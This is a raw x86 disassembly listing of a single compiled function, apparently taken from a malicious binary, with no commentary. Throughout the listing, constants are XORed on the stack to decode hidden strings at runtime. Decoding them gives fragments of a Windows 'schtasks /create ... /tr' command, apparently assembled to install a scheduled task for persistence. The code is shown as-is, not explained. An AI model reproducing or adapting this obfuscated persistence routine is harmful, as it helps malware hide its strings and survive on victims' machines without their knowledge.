mov dword [ebp - 0x18], 0xddaff48f
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0xf3e23ea3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x1e0], xmm1
movups xmmword [ebp - 0x288], xmm0
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cdaf7
sub ecx, edx
lea eax, [ebp - 0x668]
push ecx
push eax
lea ecx, [ebp - 0x288]
call fcn.00403040
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x2e0]
mov dword [ebp - 0x18], 0xdde8b7de
mov dword [ebp - 0x14], 0x80ab6db0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x18], 0x13261356
mov dword [ebp - 0x14], 0xc5abe89d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x18], 0xb9a117c7
mov dword [ebp - 0x14], 0x3bdfb640
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x18], 0x23d873fa
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2e0]
xorps xmm1, xmmword [ebp - 0xb0]
movaps xmmword [ebp - 0x2e0], xmm1
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x288]
mov dword [ebp - 0x94], ecx
lea ecx, [ebp - 0x4a0]
xorps xmm1, xmmword [ebp - 0xa0]
push eax
movaps xmmword [ebp - 0x2d0], xmm1
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x488]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x380]
push ecx
mov edx, eax
lea ecx, [ebp - 0x470]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1f0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x458]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x368]
push ecx
mov edx, eax
lea ecx, [ebp - 0x440]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x300]
push ecx
mov edx, eax
lea ecx, [ebp - 0x3b0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x440]
call fcn.00402df0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x458]
call fcn.00402df0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x470]
call fcn.00402df0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x488]
call fcn.00402df0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x4a0]
call fcn.00402df0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x274]
cmp ecx, 0xf
jbe 0x4cdd6c
mov edx, dword [ebp - 0x288]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4cdd62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7d7
push ecx
push edx
call fcn.004338e3
add esp, 8
cmp dword [ebp - 0x3a0], 0
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x278], 0
setbe byte [ebp - 0x19]
mov dword [ebp - 0x274], 0xf
sub esp, 0x18
mov byte [ebp - 0x288], 0
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0x1f
mov cl, byte [ebp - 0x19]
call fcn.004d0420
mov dword [ebp - 0x18], 0x8bc7988d
add esp, 0x18
mov dword [ebp - 0x14], 0x90b331f1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0x18], 0x2d0b7356
mov dword [ebp - 0x14], 0xee90ceb7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x18], 0xf5b517c7
mov dword [ebp - 0x14], 0x5cc3ac4f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x18], 0x778b3690
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0xb0]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0xb0], xmm1
movaps xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0xa0], xmm1
mov dword [ebp - 0x18], 0xddaff48f
mov dword [ebp - 0x14], 0xf3e23ebf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x204], ecx
xorps xmm0, xmm0
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x210]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x210], xmm1
mov dword [ebp - 0x18], 0xddaff48f
mov dword [ebp - 0x14], 0xf3e23ea3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x200]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x28], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x200], xmm1
movups xmmword [ebp - 0x2a0], xmm0
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4cdff8
sub ecx, edx
lea eax, [ebp - 0x668]
push ecx
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00403040
mov byte [ebp - 4], 0x21
lea edx, [ebp - 0x320]
mov dword [ebp - 0x18], 0xdde8b7de
mov dword [ebp - 0x14], 0x80ab6db0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x18], 0x13261356
mov dword [ebp - 0x14], 0xc5abe89d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x18], 0xb9a117c7
mov dword [ebp - 0x14], 0x3bdfb640
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x18], 0x23d873fa
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x320]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x320], xmm1
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x518]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x310], xmm1
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x200]
push ecx
mov edx, eax
lea ecx, [ebp - 0x500]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x380]
push ecx
mov edx, eax
lea ecx, [ebp - 0x4e8]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x210]
push ecx
mov edx, eax
lea ecx, [ebp - 0x4d0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x368]
push ecx
mov edx, eax
lea ecx, [ebp - 0x4b8]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x3f8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x4b8]
call fcn.00402df0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x4d0]
call fcn.00402df0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4e8]
call fcn.00402df0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x500]
call fcn.00402df0
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x518]
call fcn.00402df0
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x28c]
cmp ecx, 0xf
jbe 0x4ce24f
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4ce245
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7dc
push ecx
push edx
call fcn.004338e3
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x290], 0
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x14], esp
mov ecx, esp
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x2d
xor cl, cl
call fcn.004d0420
add esp, 0x18
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3f8]
call fcn.00402df0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x3b0]
call fcn.00402df0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x380]
call fcn.00402df0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x58]
cmp ecx, 0xf
jbe 0x4ce2f5
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4ce2eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7e1
push ecx
push edx
call fcn.004338e3
add esp, 8
mov edi, dword [ebp - 0x54]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
test edi, edi
je 0x4ce727
mov ecx, edi
mov dword [ebp - 0xd0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xcc], 0
movups xmmword [ebp - 0xe0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ce335
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0xe0]
call fcn.00403040
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x220]
mov dword [ebp - 0x18], 0xddae84e0
mov dword [ebp - 0x14], 0xf3c06ebc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
xorps xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x18], 0xcee1a6f1
mov dword [ebp - 0x14], 0xf3c01eb4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x548]
mov dword [ebp - 0x28], eax
xorps xmm1, xmmword [ebp - 0x30]
push 0x583da4
movaps xmmword [ebp - 0x220], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x230]
push ecx
mov edx, eax
lea ecx, [ebp - 0x530]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x31
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x4ce49e
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00418f00
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x530]
call fcn.00402df0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x548]
call fcn.00402df0
mov dword [ebp - 0x18], 0xa980b6da
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0xcc], 0xf
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xe0]
cmova eax, dword [ebp - 0xe0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x240]
xorps xmm1, xmmword [ebp - 0x30]
push ecx
push eax
movaps xmmword [ebp - 0x240], xmm1
call fcn.00439810
mov edi, eax
add esp, 8
test edi, edi
je 0x4ce6ce
call fcn.00433059
push 0
push 0x2710
push edx
push eax
call fcn.00458650
mov byte [ebp - 4], 0x33
test edx, edx
jg 0x4ce5bb
jl 0x4ce59e
test eax, eax
jae 0x4ce5bb
neg eax
lea ecx, [ebp - 0x383]
adc edx, 0
neg edx
push edx
push eax
call fcn.00421a70
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x4ce5ca
push edx
push eax
lea ecx, [ebp - 0x383]
call fcn.00421a70
mov ecx, eax
lea eax, [ebp - 0x383]
mov dword [ebp - 0xb8], 0
add esp, 8
mov dword [ebp - 0xb4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
cmp ecx, eax
jne 0x4ce612
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
jmp 0x4ce627
lea eax, [ebp - 0x383]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0xc8]
call fcn.00403040
mov esi, dword [ebp - 0x20]
or esi, 0x10
mov dword [ebp - 0x20], esi
and esi, 0xffffffef
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 0x32
or esi, 8
mov dword [ebp - 0x20], esi
lea eax, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 0xf
push edi
push dword [ebp - 0xb8]
cmova eax, dword [ebp - 0xc8]
push 1
push eax
call fcn.00441618
push edi
call fcn.0043d098
and esi, 0xfffffff7
add esp, 0x14
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0xf
jbe 0x4ce6b3
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4ce6a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7e6
push ecx
push edx
call fcn.004338e3
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0xf
jbe 0x4ce70c
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4ce702
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7eb
push ecx
push edx
call fcn.004338e3
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x134]
cmp ecx, 0xf
jbe 0x4ce765
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4ce75b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4ce7f0
push ecx
push edx
call fcn.004338e3
add esp, 8
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x368]
call fcn.00402df0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x560]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2b8]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402c60
call fcn.00438c60
call fcn.00438c60
call fcn.00402c60
call fcn.00438c60
call fcn.00438c60
call fcn.00438c60
call fcn.00438c60
call fcn.00438c60
call fcn.00438c60
int3